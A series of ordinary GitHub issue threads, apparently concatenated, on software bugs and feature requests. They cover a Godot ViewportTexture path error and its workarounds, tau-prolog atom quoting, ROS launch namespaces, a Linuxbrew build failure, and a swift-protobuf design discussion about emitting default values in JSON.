ViewportTexture: Path to node is invalid

Bugsquad note: This issue has been confirmed several times already. No need to confirm it further.

Godot version: v3.1.stable.mono.official

OS/device including version: Windows 10.0.17763 Build 17763

Issue description:

I created a Viewport node and had it draw some GUI. Then, on a MeshInstance (quad) I set its albedo texture to ViewportTexture and selected the viewport node (at Player/Viewport). It still came up with a preview.
When I ran the game I was met with two errors:
Node not found: Player/Viewport
ViewportTexture: Path to node is invalid

But I was still able to play the game and furthermore, the viewport still worked correctly. I took a look at the scene's .tscn file and found that the ViewportTexture does indeed point correctly to the Viewport node I had created.
ViewportTexture, SpatialMaterial, and QuadMesh:
...

[sub_resource type="ViewportTexture" id=1]
flags = 1
viewport_path = NodePath("Player/Viewport")

[sub_resource type="SpatialMaterial" id=2]
resource_local_to_scene = true
flags_transparent = true
flags_unshaded = true
flags_albedo_tex_force_srgb = true
albedo_texture = SubResource( 1 )

[sub_resource type="QuadMesh" id=3]
resource_local_to_scene = true
material = SubResource( 2 )
size = Vector2( 0.3, 0.2 )

...

Scene tree:
 ┖╴Spatial
    ┠╴Player
    ┃  ┠╴Camera
    ┃  ┠╴Cockpit
    ┃  ┠╴Right
    ┃  ┠╴Left
    ┃  ┠╴CockpitAudio
    ┃  ┠╴GunFireCockpitAudio
    ┃  ┠╴TargetingMesh
    ┃  ┖╴Viewport
    ┃     ┖╴GUI
    ┃        ┖╴Speed
    ┠╴CSGBox
    ┖╴CSGBox2

This is very similar to #14790, #12781, and #19259.
Steps to reproduce:
Create a Viewport node, assign a ViewportTexture to a mesh, select the Viewport you made, and run the game.

Oh, my bad: the error occurs on save, too.

I'm having the same issue without using mono. The ViewportTexture is used in a TextureRect and works correctly, but an error message is thrown.

@asmoaesl @CptPotato, do you use the "tool" keyword in a script attached somewhere in the node hierarchy that includes the Viewport Node?

I don't. I'll see if I can create a small reproduction project later today.

Can confirm this is happening for me as well with 3.1 stable. A possibility is that for the first frame, the Viewport is invalid/initialized, since this only seems to happen when starting the game or the editor.

I do not.
On Mon, Apr 8, 2019 at 3:10 PM KaadmY<EMAIL_ADDRESS>wrote:

Can confirm this is happening for me as well with 3.1 stable. A
possibility is that for the first frame, the Viewport is
invalid/initialized, since this only seems to happen when starting the game
or the editor.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/godotengine/godot/issues/27790#issuecomment-480987869,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ANCVy-PQBnmj1e0YLMannkPKNl-0YrXCks5ve6IpgaJpZM4chGqk
.

Looks like @kaadmy is correct.
This works without errors:

This causes an error on the first frame (probably while the tree is being created):

Good temporary solution

Can confirm the bug

The workaround is working...but it may break a little the consistency of the node tree, ie: if my Viewport Node is generating a texture specificaly for a Sprite Node, I'm assume it's more logical to have it under the Sprite Node and not before. Thus manipulating the Viewport Node is more straightforward through a script attached to my Sprite Node.
Is there any way to skip the first frame otherwise?

I actually think it makes more sense to have the Viewport above the Node which is accessing it. Not only does it prevent the error, but it also doesn't introduce lag. Otherwise you'll get 1 frame of lag for each consecutive Viewport you're using.

@CptPotato Makes sense, I didn't think of it. But it still find it weird to have the 2 Nodes in the same hierarchy level since the former is a dependency of the later one. And generally speaking from a Node I think it's good practice not to reference a non child Node.
Maybe the exception is inevitable in this particular case.

I have a very similar issue, but in my case I'm using a label under a viewport, and then rendered into a sprite3d that have a ViewportTexture, no matter the order of the nodes, I still get the same error.
I'm using Godot 3.1.1

Welp! How you work around this?

This seems to be just an issue with the way the _ready notification is passed, the connection is happening before the viewport node is instanced in the tree. Maybe in the other notification that is called after _ready? ( I am forgetting its name right now and cannot find it in the docs )

This is listed as "similar" to #19259, but are they actually exact dupes?

I was going to file a separate issue, but I think it is close enough to this to post here.
I've got a repro of this even with the ViewPort ordered before the texture, and it seems to be blocking parts of the editor UI.
Godot version:
3.1.2.stable.custom_build
OS/device including version:
Linux 5.4.10-arch1-1
Issue description:

When I use a ViewportTexture referencing a ViewPort (A), clicking the arrow on an exported PackedScene field (B) of a custom resource (C) prints the error "ViewportTexture: Path to node is invalid" (D), and no dropdown is shown.
Steps to reproduce:

Open the attached project
Type data in the filesystem searchbar
Double-click bolt/data.tres
Click the arrow on the projectile field
No dropdown appears, errors are printed.

Minimal reproduction project:
Not completely minimal, but I tried to reduce my current project down as much as feasible.
example.zip

Digging further, the issue in mine seems to be that loadout.gd preload's a scene that has a ViewPort texture.  Haven't been able to minimize it though.

An easy solution would be to modify the error that gets printed, to suggest modifying the hierarchy to silence the error. i.e.
"ViewportTexture: Path to viewport is invalid or the texture was instantiated before the viewport. If the path seems valid, move the node using the texture underneath the viewport"

I did my own digging and here's what I found:
//path is the viewport path
//path is initialized as an empty path
void ViewportTexture::set_viewport_path_in_scene(const NodePath &p_path) {
	if (path == p_path)
		return;

	path = p_path;

	if (get_local_scene()) {
		setup_local_to_scene(); //This line refreshes texture when path is changed
	}
}

Our issue is that when our scene gets instantiated, path is set to whatever it is in the scene/resource file. This calls set_viewport_path_in_scene() which calls setup_local_to_scene() and since the node is most likely not done initializing, there's potential for a path to be invalid. set_viewport_path_in_scene() is called a second time, after initialization (I don't know from where) so the path will be valid.
I guess the two options would be to change the error message with @rcorre 's PR or we could somehow check if the node returned from get_local_scene() is fully initialized.

Having the same issue. I'm using it as a shader texture parameter and it is just giving me a blank texture (all 0,0,0,0)

I've had this same issue, and I modified the engine to remove ViewportTexture::setup_local_to_scene() and moved the logic to ViewportTexture::set_viewport_path_in_scene().  Seems setup_local_to_scene() is called too soon (before the scene is put into the tree).  I'm not sure if there's a reason setup_local_to_scene() needs to be there, but for the two instances I'm using it (reflection on water and rendering something to a monitor), it seems to work properly.

@jitspoe Do you think you could share what ViewportTexture::set_viewport_path_in_scene() looks like after you add the functionality from ViewportTexture::setup_local_to_scene()?

Pretty much just a copy/paste, I think.  I'm a bit hesitant to do a pull request, as I don't know why setup_local_to_scene() was used and what removing it would break.
void ViewportTexture::set_viewport_path_in_scene(const NodePath &p_path) {

	if (path == p_path)
		return;

	path = p_path;

	if (get_local_scene()) {
		if (vp) {
			vp->viewport_textures.erase(this);
		}

		vp = NULL;

		Node *local_scene = get_local_scene();
		if (!local_scene) {
			return;
		}

		Node *vpn = local_scene->get_node(path);
		ERR_FAIL_COND_MSG(!vpn, "ViewportTexture: Path to node is invalid.");

		vp = Object::cast_to<Viewport>(vpn);

		ERR_FAIL_COND_MSG(!vp, "ViewportTexture: Path to node does not point to a viewport.");

		vp->viewport_textures.insert(this);

		VS::get_singleton()->texture_set_proxy(proxy, vp->texture_rid);

		vp->texture_flags = flags;
		VS::get_singleton()->texture_set_flags(vp->texture_rid, flags);
	}
}

@jitspoe Feel free to open a pull request so it can get broader testing :slightly_smiling_face:

Using mono here. I also get the same error spam 6-7 times every time the scene loads regardless of the order, and even when programmatically set. Happens all at once, right after the scene's _Ready() method is called, after I lose control of the loop's cycle, and before the next cycle starts.

And, like clockwork, after a few weeks debugging this issue, as soon as I post about it, I discover the root of the issue.
So, I was avoiding building a minimum reproduction, because it's not simple to replicate, but I took the time and made one, but I couldn't get it to throw the slew of errors.
After doing a general string search the entire project for references to the node's name, I found that sometimes (I can't find a pattern) when you pass a ViewportTexture as a parameter to a shader, it will sometimes hold on to the reference to the node in the tscn file even after you clear it. In my case, since I decided to programmatically set the ViewportTexture, it doesn't need to be referenced in the scene, but it persisted in file though it was cleared, and I had to manually remove it from the tscn code. So, while the errors are annoying, they were valid, but only due to another unrelated editor bug. I'll open a separate issue once I've been able to consistently replicate the problem.

Did you, by chance, happen to have that as a child scene and have editable children enabled?

I'm guessing there's an open bug involved with that? Because totally.
I couldn't find documentation on this, but it seems like the little circular arrow next to a setting resets it to whatever the base scene's setting value is. If that is the case, it sometimes shows it update in the editor, but doesn't save it in the tscn.

Don't know if there's an open bug on it, but it's something I've noticed with other things.  For example, I had a scene that had editable children enabled, then I updated a material on the child scene, but that material didn't update on the scene containing it (even though that material wasn't edited -- I just wanted to move some meshes around or something).

See https://github.com/godotengine/godot/issues/44024#issuecomment-736905940 for a trace when this error message is printed.

Same error here, i solved doing what @DleanJeans said:
func _ready():
	texture = $Viewport.get_texture()

Same error here, i solved doing what @DleanJeans said:
func _ready():
	texture = $Viewport.get_texture()

@jitspoe Feel free to open a pull request so it can get broader testing 🙂

I tried to get mainline up and running, but sadly I just get a black screen at the moment, so I'll have to wait until thing stabilize a bit more.  Not sure if it's worth attempting to make a pull request directly into the 3.x branch.

Not sure if it's worth attempting to make a pull request directly into the 3.x branch.

3.2.x will remain the latest stable version for a while, so I think it's worth the effort.

Is there a mirror of this issue for master? Because I'm having similar problems with viewport as the ones comented here, with the difference that reordering does not help and it hangs the running game.

Is there a mirror of this issue for master? Because I'm having similar problems with viewport as the ones comented here, with the difference that reordering does not help and it hangs the running game.

SubViewports are generally broken in the master branch. I'd open a separate issue for it.

Bad news: I've figured out why the setup_local_to_scene() is necessary.  It's needed for things to display properly in editor.  Without my change, the text in the viewport shows up in-editor the same as in the running game.  With my change, it does not:

Not sure of a good way to fix this without re-introducing the error.

I think I may have a solution here: https://github.com/godotengine/godot/pull/52365
Would be great if some of you who have errors could test it!

Indeed, I can replicate the issue on both 3.5 and master.

In v4.0 beta 2, I'm getting the error "ViewportTexture: path to node is invalid" whether or not the target subviewport is below. So to be clear, the workaround above is not working for me. In case it's relevant, the project was started in 3.5 and migrated to 4.0.

I am also getting this error in 4.0.1. In the editor the node acts if it forgets what the texture is. If I clear and recreate the material the viewporttexture works for a while.

I am not sure if this is the same issue or  a separated (although related one).
I was getting the warning mentioned in the bug (ViewportTexture: Path to node is invalid), but my game worked fine when running it from the editor.
I have now exported it to a Windows executable and my ViewportTextures don't seem to work at all (getting same warnings).

You can see the issue I was having in #83350 -- The problem is in godot 4.2 mono. I am instantiating the scene that has my subviewport from code. If there was some way to hush the error it would be fine for me because I don't think it's causing issues, but also would be nice to fix the root of the issue.

Roughly fix it
https://github.com/godotengine/godot/blob/3841d76515eb6f836937eccc891bf7956cb06001/scene/main/viewport.cpp#L93-L95
	if (get_local_scene()) {
		if (vp && vp->is_inside_tree()) {
			setup_local_to_scene();
		}
	}


toJavascript on atoms changed behavior

In 0.2.66 calling toJavascript on an atom would yield the following:
foo
@foo/bar

Now it yields the following:
foo
'@foo/bar'

As you can see, it seems that atoms are escaped before being returned to Javascript (I suspect they're actually always stored escaped in this.id). Is this expected?

Yes, this is expected. _.prototype.toJavaScript uses _.prototype.toString for variables, numbers and atoms.
Perhaps it may be interesting to add an optional parameter in _.prototype.toJavaScript to set the term writing options (quoted, ignore_ops and numbervars):
http://tau-prolog.org/documentation/prolog/builtin/write_term/2
Please, let me know if you are interested in that.

From the next release (v0.3.0), the default value for quoted will be false. Anyway, you can explicitly set this option:
var term = new pl.type.Term("@foo/bar");
console.log(term.toJavaScript()); // @foo/bar
console.log(term.toJavaScript({quoted: false})); // @foo/bar
console.log(term.toJavaScript({quoted: true})); // '@foo/bar'

Perfect, thanks! 😀


Succinct Docs on Decorators

Describe the issue
I'm trying to find succinct information on decorators that can be used for type-graphql. For example, I see that @Args() can take in one or more arguments--but I couldn't find any information on what these arguments are and what order they should be in.
Is it that I can't find a page on the docs or is this just lacking?

That's WIP. Already there's issue for that. #17

but I couldn't find any information on what these arguments are and what order they should be in.

Just use "Go to Definition (F12)" or click the verb with CTRL in VSCode - it will show you all the overloads and the signature. It's very simple - ReturnTypeFunc when the reflection can't handle the type and ValidateOptions for class-validator options:
export function Args(
  paramTypeFunction: ReturnTypeFunc,
  options?: ValidateOptions,
): ParameterDecorator;

Closing for a housekeeping purposes 🔒


Namespaces doubling up in current launch files

Hi,
There is a bug in the current launch files for the Mission Client when using namespaces.
When launching the client with a namespace argument e.g
~/projects/isaac_mission$ ros2 launch isaac_ros_vda5050_nav2_client_bringup isaac_ros_vda5050_client.launch.py ros_namespace:='r0'
The nodes that are launched appear to heave their namespace applied twice.
[INFO] [vda5050_nav2_client-1]: process started with pid [208488] [INFO] [ros_to_mqtt_bridge_node-2]: process started with pid [208490] [INFO] [mqtt_to_ros_bridge_node-3]: process started with pid [208492] [mqtt_to_ros_bridge_node-3] [INFO] [1674476648.202187545] [r0.r0.mqtt_ros_bridge_node]: Connected with result code 0 [ros_to_mqtt_bridge_node-2] [INFO] [1674476648.212896233] [r0.r0.ros_mqtt_bridge_node]: Connected with result code 0
It appears that ros_namespace is a built in parameter for the ros_launch system. And that by using that name as the parameter the namespace gets applied twice.
Simply changing the parameter name fixes this issue - Below I have changed the ros_namespace parameter to be called namespace and it works fine:
~/projects/isaac_mission/src/isaac_ros_mission_client$ ros2 launch isaac_ros_vda5050_nav2_client_bringup isaac_ros_vda5050_client.launch.py namespace:='r0' [INFO] [vda5050_nav2_client-1]: process started with pid [213704] [INFO] [ros_to_mqtt_bridge_node-2]: process started with pid [213706] [INFO] [mqtt_to_ros_bridge_node-3]: process started with pid [213708] [mqtt_to_ros_bridge_node-3] [INFO] [1674477353.721697169] [r0.mqtt_ros_bridge_node]: Connected with result code 0 [ros_to_mqtt_bridge_node-2] [INFO] [1674477353.739631580] [r0.ros_mqtt_bridge_node]: Connected with result code 0
Cheers,
Ben

Also the Nav2 client launch file does not pass the namespace to the mission client. I am not using this one but I noticed it whilst looking into this.

Thanks for pointing this out! We'll have this fixed shortly in the launch file.

Thanks @bobbleballs - we've just merged a PR that updates the namespace parameter across our various launch files. Hopefully that should fix your issue!
https://github.com/NVIDIA-ISAAC-ROS/isaac_ros_mission_client/pull/3

New namespaces look good to me, thanks.
The Nav2 launch file still doesn't pass them through to the client bringup however.
Probably should look something like this:
    mission_client_launch = IncludeLaunchDescription(         PythonLaunchDescriptionSource([mission_client_launch_dir,                                        '/isaac_ros_vda5050_client.launch.py']),     launch_arguments={             'namespace': namespace}     )
Not sure if this is a separate issue though?
Thanks for getting on it!
Cheers,
Ben

Ah, you're right - we'll get another hotfix out for that shortly. Appreciate the careful eye!

We've just merged #5 which properly forwards the namespace parameter. Thanks for reporting these issues! We've re-verified all the launch files on our end, but if you run into any other problems, please open a new issue and we'll jump on it ASAP

Lgtm!


Get rid of mtl dependency

In some cases we were using it to get access to functions like void. Everything was in transformers already.

/azp run

I have no opposition to mtl per say, but if you are also using transformers then it's mostly just confusing having two places for the same stuff.

The CI failures on 8.4 look genuine.

The type of except got generalised in transformers-<IP_ADDRESS>. We rely on that generalisation. You can't depend on a newer transformers because ghc also depends on it, so you get missing instances. We have two choices:

Keep mtl, at least until we drop 8.4 support. Most of the cleanups are still useful, so can be broken out.
Inline the definition of except in the 1 place it is used. The definition is except = ExceptT . return so the code bloat isn't huge.

I would just keep the dependency on mtl.


brew install gnu-indent failed

me@gfw:/home/linuxbrew/.linuxbrew$ brew install gnu-indent
==> Downloading https://ftp.gnu.org/gnu/indent/indent-2.2.12.tar.gz
Already downloaded: /home/me/.cache/Homebrew/downloads/9265e2be677c11781c5909621754bc46aac1a9b0f3401a5c3eea1d33b214d199--indent-2.2.12.tar.gz
==> ./configure --prefix=/home/linuxbrew/.linuxbrew/Cellar/gnu-indent/2.2.12 --mandir=/home/linuxbrew/.linuxbrew/Cellar/gnu-indent/2.2.12/share/man
==> make install
Last 15 lines from /home/me/.cache/Homebrew/Logs/gnu-indent/02.make:
         any other file indirectly affecting the aspect of the manual.
         You might want to install the Texinfo package:
         <https://www.gnu.org/software/texinfo/>
         The spurious makeinfo call might also be the consequence of
         using a buggy 'make' (AIX, DU, IRIX), in which case you might
         want to install GNU make:
         <https://www.gnu.org/software/make/>
Makefile:836: recipe for target 'indent.html' failed
make[2]: *** [indent.html] Error 127
make[2]: Leaving directory '/tmp/gnu-indent-20181024-91830-tbkg4j/indent-2.2.12/doc'
Makefile:468: recipe for target 'install-recursive' failed
make[1]: *** [install-recursive] Error 1
make[1]: Leaving directory '/tmp/gnu-indent-20181024-91830-tbkg4j/indent-2.2.12'
Makefile:766: recipe for target 'install' failed
make: *** [install] Error 2

READ THIS: https://github.com/Linuxbrew/brew/wiki/troubleshooting
Please do not report this issue to Homebrew/brew or Homebrew/core,
which support macOS only."

I've opened PR #9986 to build a bottle for gnu-indent.

Please report issues with individual formula to Linuxbrew/core.

This issue is resolved. Run…
brew update
brew install gnu-indent

Thank you for the bug report, @laishulu.


Broken links to instructions how to create user-defined routes

In section Instances unreachable, under Solution there is a link to another page that describes how to create user-defined routes. That link, and the following Troubleshooting link is broken.
I believe both links should reference the following page:
https://docs.microsoft.com/en-us/azure/databricks/administration-guide/cloud-configurations/azure/on-prem-network#--step-3-create-user-defined-routes-and-associate-them-with-your-azure-databricks-virtual-network-subnets

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 26ef2241-baad-ac50-e286-d6ca821d1b68
Version Independent ID: 1cfbf166-86ab-4b5b-cacd-c6ee57c0bf11
Content: Cluster failed to launch - Azure Databricks
Content Source: databricks/kb/clusters/cluster-failed-launch.md
Service: azure-databricks
GitHub Login: @mamccrea
Microsoft Alias: mamccrea

We have assigned the issue to the content author  . They will evaluate & update the document as appropriate

Thanks for bringing this to our attention. We're updating the doc.

I have updated the doc with the correct links. Please allow a few days for the changes to go live. In the meantime, here are the links:
This custom UDR allows outbound connections and does not interfere with cluster creation. For detailed UDR instructions, see Step 3: Create user-defined routes and associate them with your Azure Databricks virtual network subnets. For more VNet-related troubleshooting information, see Troubleshooting.
#please-close


JSON Serialization with default value

Developing using iOS12, Swift 5, proto3 . I am about to add an extension which can support to output fields with their default values.  I just want to check whether it is already implemented.
Based on proto doc, it looks like
JSON options
A proto3 JSON implementation may provide the following options:

Emit fields with default values: Fields with default values are omitted by default in proto3 JSON output. An implementation may provide an option to override this behavior and output fields with their default values.

I wonder does swift version has option to output fileds with their default values. I found python version has it MessageToJson(message, including_default_value_fields=False)
https://developers.google.com/protocol-buffers/docs/reference/python/google.protobuf.json_format-module

The supported JSON encoding options: https://github.com/apple/swift-protobuf/blob/master/Sources/SwiftProtobuf/JSONEncodingOptions.swift

p.s. - adding this as an option would be tricky since JSON encoding is built on the visitor pattern which is where it is skipping default values.

@thomasvl thanks for your quick reply. Yes, I realized that default value is skipped in the generated code.
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V) throws {
    if !self.cards.isEmpty {
      try visitor.visitRepeatedMessageField(value: self.homeCards, fieldNumber: 1)
    }
    if self.test != false {
      try visitor.visitSingularBoolField(value: self.test, fieldNumber: 2)
    }
    try unknownFields.traverse(visitor: &visitor)
  }

Is there a way to do this without breaking the API between generated code and the library?
I see how old generated code could continue to work with an updated library, but I don't see how new generated code (with modified default handling) could work with an old library.
If we can't preserve this compatibility, we would probably want to increment the major version.   It's been a while since 1.0, so this is probably okay.  We should certainly consider whether there are other issues that might require API breakage that should be adopted along with this.

What I found is that current we do the check in codegen.
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V) throws {
    if self.showID != 0 {
      try visitor.visitSingularUInt32Field(value: self.showID, fieldNumber: 1)
    }
    try unknownFields.traverse(visitor: &visitor)
  }

What if we add an option to JSONEncodingOptions, then
we change
  mutating func visitSingularUInt32Field(value: UInt32, fieldNumber: Int) throws {

     if value != 0 || options.includeDefault {
            try startField(for: fieldNumber)
            encoder.putUInt32(value: value)
        }
}

This is a good idea.  I'd need to think about how this works for proto2, though.

The visitor api shouldn't know about the JSONEncodingOptions, we'd need to make a some other (internal) "options" to expose what ever subset makes sense for all possible visitors.

I think JSONEncodingVisitor currently owns JSONEncodingOptions, and we are using JSONEncodingOptions.alwaysPrintEnumsAsInts.
 mutating func visitSingularEnumField<E: Enum>(value: E, fieldNumber: Int) throws {
    try startField(for: fieldNumber)
    if !options.alwaysPrintEnumsAsInts, let n = value.name {
      encoder.appendQuoted(name: n)
    } else {
      encoder.putEnumInt(value: value.rawValue)
    }
  }

The call to JSONEncodingVisitor is happening on the generic visitor interface and that call is blocked on the value not being the default, so all the JSON specific types are removed from where the change is needed.

The call to JSONEncodingVisitor is happening on the generic visitor interface and that call is blocked on the value not being the default, so all the JSON specific types are removed from where the change is needed.

Oh, I see. Yes, the original approach I proposed required all visitor to include default value check, which is not really flexible. Another way in my mind.
We add a function into Visitor protocol
protocol Visitor {
    func shouldInlcludeDefault() ->Bool
    ....
}

We provide default implementations as other methods in Visitor protocol
extension Visitor {
    func shouldInlcludeDefault() ->Bool {
        return false
    }
    ...
}

In JSONEncodingVisitor, we can implement it by checking shouldIncludeDefaultValue in options.

@seanliu1's idea would have:

Old generated code with new library:  default values would always be omitted
New generated code with old library:  default values would always be included

I'll have to think about whether this is enough compatibility to avoid the major version bump.

@tbkka see this comments. https://github.com/apple/swift-protobuf/issues/861#issuecomment-479680877
People wont notice any changes, unless shouldIncludeDefaultValue is provided.
So
Old generated code with new library: default values would always be omitted
New generated code with old library: default values would always be omitted

Likely should make a sweep of the options the other languages provide to TextFormat, JSON, and Binary to double checks if there are potentially any other things we might want to support that also would reach to this level of the Swift impl.
Performance wise, we could call this once within each generated visitor method, but it is still a lot of calls if the graph has a lot of sub messages, and the call can't be optimized since it is on a generic Visitor.

Let me know if I can help anything.

I managed to make some changes based on my initial idea.

I moved all default check from codegen to the visitor. Currently I only put default check for json encoding, if this is a viable approach I will add check too all visitors
I add new JsonEncodingOption to include default value
I also changed code gen, so that only proto2 still uses repeated field, and both proto2 and 3 will still check for nil if hasFieldPresence, in proto3, only message field fall into it.

https://github.com/seanliu1/swift-protobuf/pull/1

Taking a quick look, the visitor seems to have special cased zero/false as the default.  That's only true for a message declared in a file with proto3 syntax.  A message in proto2 syntax can have any default the .proto file author chooses, so I'm not sure your flow would work out correctly when a proto2 syntax message is used as a field of a proto3 syntax message.

Thanks for taking a look. I forgot proto2 can have any default value.
I can think of two workarounds

In order to access stored property, it looks like we need to pass it to all visiting methods. Signature will change to

mutating func visitSingularEnumField<E: Enum>(value: E, default E, fieldNumber: Int) throws {

Change signature for traverse, add include_default

  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V, includeDefault:Bool == false) throws {
Only JsonEncoderVisitor will call
    try traverse(visitor: &visitor, includeDefault: options.includeDefault)
Other callsites will remain same.

change   private let options: JSONEncodingOptions to    internal let options: JSONEncodingOptions in JSONEncodingVisitor, traverse can directly access it.

but, both are not perfect.

I also looked at other options provided by Java, Python, C++
JSON: they have following options

perserveProtoName
printEnumsAsInts
includeDefault (most languages only handle primitive type )

Looks like all languages are on the same page, we just do not have includeDefault
TextFormat
All support printUnknownFields
Python provides lots of options for formatting, for example as one line (no new line character),  use angle brackets instead of curly braces for nesting  See more But I do not think those changes need to touch this level, usually it can be added only for TextFormatVisitor
C++ and Java can do PrintFieldValueToString given field.  C++  will also print the default value,
Binary looks pretty similar across those languages.

Would love some feedback for this https://github.com/seanliu1/swift-protobuf/pull/2 Thanks

Left some quick comments, the repeated calls to the visitor also have the potential to slow things down when most fields are the defaults.  It might make sense to fetch it once and reuse it in the conditionals (you could also check the flag first since when it is on, wether the value is set or not, you are calling the visit method).
But this approach goes back to @tbkka comments before, there are behavior issues with old generated code against the new runtime (and new generated code against the old).  So the question of a version change still has to be sorted out.  And if there is a version change, then making this a method on visitor vs. doing something more generic like passing options for it into the generated visited code might make things easier to add others in the future (although the same interaction problems would likely exist).

@thomasvl Thanks, I addressed your comment on repeated calls to the visitor, currently it will only call once at beginning of traverse.
Since it involves API change and version management, I will leave the PR open until version bump is sorted out.

I think I might have figured out part of how to solve the versioning issue.  We could generate two different traverse methods, one that provides the old behavior for use with the old libraries, and one that supports the new behavior.  This might look like:
  // Called by old libraries.  Never visits default values.
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V) throws {
    traverse(visitor: &visitor, visitDefault: false)
  }

  // Called by new libraries.  The caller specifies whether default values are visited.
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V, visitDefault: Bool) throws {
    if self.id != 0 || visitDefault {
      try visitor.visitSingularUInt32Field(value: self.showID, fieldNumber: 1)
    }
  }

The expected behavior:  If you're using an old library or old generated code, defaults are not visited.  Defaults can only be controlled if you have a new library and new generated code.  The above solves three of the four cases:

Old library, old generated code.  This already works.
Old library, new generated code.  The old library calls traverse(visitor:) in new generated code.  The result never visits default values, but that's the expected behavior when using the old library.
New library, new generated code.  The new library calls traverse(visitor:visitDefault:) in new generated code.  That allows the new library code to select whether defaults are visited.

The remaining case is for the new library used with old generated code. This requires a way for the new library to call the old traverse(visitor:) method when the new traverse(visitor:visitDefault:) method isn't available.  Is there a way to solve this with generics trickery or maybe adding a new protocol?

Hm, so we'd have to generate a travers shim in ever message class, which on all new library uses is wasted code (and if declared public, won't dead strip).
For your last case, could the updated library provide an extension to Message with a default impl of the new traverse method that calls the old?  Or would that always get used for any generic operation on Messages directly?

... shim in every message class, which on all new library uses is wasted code ...

At this moment, I'm happy if we can find any solution that works.  I agree it would be nice to avoid this overhead.  Certainly, that extra shim could be omitted the next time we change the major version.

... could the updated library provide an extension to Message with a default impl of the new traverse method that calls the old? Or would that always get used for any generic operation on Messages directly?

Good idea!  I think that would do it.  I think generic uses and protocol-typed variables will work correctly as long as we declare both traverse methods on the Message protocol.

So I think here's the full set of changes that would allow us to add this feature without a major version change.  When we do change the major version someday, we can remove the compatibility shims at that time.
Caution:  I haven't actually tested this, so there may be a problem with this approach that I've overlooked.

Change traverse method signature to traverse(visitor:visitDefault:).  This requires changing the generated code, adding the new method to Message.swift, updating callers in the library, and adding the new option to JSONEncodingOptions.  Once this is done, new generated code with the new library should have the new capability.

Add shim to generated code so that new generated code can be called by old library.  This just requires adding the following to the generated output:

  // Called by old libraries.  Never visits default values.
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V) throws {
    try traverse(visitor: &visitor, visitDefault: false)
  }

Add a Message extension to Message.swift so that the new library can use old generated code.  Make sure that the protocol Message declares both versions of traverse.

/// Shim to support old generated code.
///
/// If this library is used with old generated code that lacks the new `traverse(visitor:visitDefault:)` method, we want to just use the old `traverse` method.  This will ignore the `visitDefault` parameter, but we cannot do better with old generated code.
extension Message {
  func traverse<V: SwiftProtobuf.Visitor>(visitor: inout V, visitDefault: Bool) throws {
    try traverse(visitor: visitor)
  }

Couple random thoughts on this from this weekend -

What ever the option/arg names supporting this are, they likely been to be more that just 'visitDefault' since the behavior is likely to be only to visit for proto3 syntax.  Since proto2 syntax has presence, i don't think we want this option changing the behaviors there.  If something is set to the default it already was visited for proto2 syntax, and I'm guessing we don't want it always visiting?
How are oneofs going to be handled?  It doesn't make sense to visit all of the fields as you shouldn't serialize all of them (that's an error during parsing if I remember correctly).  And setting a oneof to the explicit default still captures it and serialize it, so this likely should be ignored by oneofs?

For oneof:  What does C++ do?
For proto2, I agree that visitDefault should never have an effect.  The easiest answer might be to just continue generating the old traverse method for proto2.

Hello there! Any update on this issue?

Is there any update in this, it would be interesting to have this option the JSONEncodingOptions

We're currently working towards a 2.0 release, so now would be the time take one something like this since it could be done with a breaking change to the generated code.

That's great, thanks for the info. Do you have any estimated date when 2.0 will be released?

Is there any update on this issue?

No specific update on exactly when 2.0 will be; and to this specific issue, no one seems to have taken up making a PR for this feature request.

Any update on this for 2.0? Thanks

Same as last check, no one has proposed a PR for this.

Thanks @thomasvl
I've seen @seanliu1 achieved something in here: https://github.com/seanliu1/swift-protobuf/pull/2
Is there any documentation of how to do the setup to get default values in the JSON?
Thanks

I've seen @seanliu1 achieved something in here: seanliu1#2
Is there any documentation of how to do the setup to get default values in the JSON?

The default values would be on the FieldDescriptor. I haven't looked at that change, but if the have something working, it likely would just need to be update to the current main here, i.e. - it should be basically what is needed.

Are we okay with making breaking changes to the Message type in a pr since we're working towards a 2.0 version? If so I can work on something that looks like traverse<V: SwiftProtobuf.Visitor>(visitor: inout V, options: [VisitorOptions])

Actually after playing with this a bit I think an options argument to the traverse method would fall into the same backwards compatibility pitfalls that we encountered in this thread. In order to future proof this I propose we define a type-erased VisitorNode type
public struct VisitorNode {

    private let _visit: (inout Visitor, VisitorOptions) throws -> Void

    public func visit(visitor: inout Visitor, options: VisitorOptions) throws {
        try _visit(&visitor, options)
    }

    // Factories

    public static func singularFloat(_ value: Float, fieldNumber: Int, defaultValue: Float) -> Self {
        .init { visitor, options in
            if options.visitDefaults || value != defaultValue {
                try visitor.visitSingularFloatField(value: value, fieldNumber: fieldNumber)
            }
        }
    }

    public static func singularEnum<E: SwiftProtobuf.Enum>(value: E, fieldNumber: Int, defaultValue: E) -> Self {
        .init { visitor, options in
            if options.visitDefaults || value != defaultValue {
                try visitor.visitSingularEnumField(value: value, fieldNumber: fieldNumber)
            }
        }
    }

    public static func singularMessage<M: Message & Equatable>(value: M, fieldNumber: Int, defaultValue: M) -> Self {
        .init { visitor, options in
            if options.visitDefaults || value != defaultValue {
                try visitor.visitSingularMessageField(value: value, fieldNumber: fieldNumber)
            }
        }
    }
    // etc ...
}

And have the Message protocol provide visitor nodes instead of providing the traverse implementation.
extension SomeProto {
    var visitorNodes: [VisitorNode] {
        [
            .singularEnum(value: someEnum, fieldNumber: 0 defaultValue: .unspecified),
            .singularFloat(value: someFloat, fieldNumber: 1, defaultValue: 0),
            .singularMessage(value: someMessage, fieldNumber: 2, defaultValue: .init())
        ]
    }
}

This allows us to have a common shared traverse implementation
func traverse<V: Visitor>(inout visitor: V, options: VisitorOptions) throws {
    for node in visitorNodes {
        try node.visit(visitor: &visitor, options: options)
    }
}

this allows the library to have more flexibility to change the internals of the visitor pattern regardless of which version of the library was used to generate the type conforming to Message
I'm still pretty new to this project so I'm not sure if there are potential pitfalls with this approach. I'm not sure if what I'm proposing would trigger issues like this one

Are we okay with making breaking changes to the Message type in a pr since we're working towards a 2.0 version? If so I can work on something that looks like traverse<V: SwiftProtobuf.Visitor>(visitor: inout V, options: [VisitorOptions])

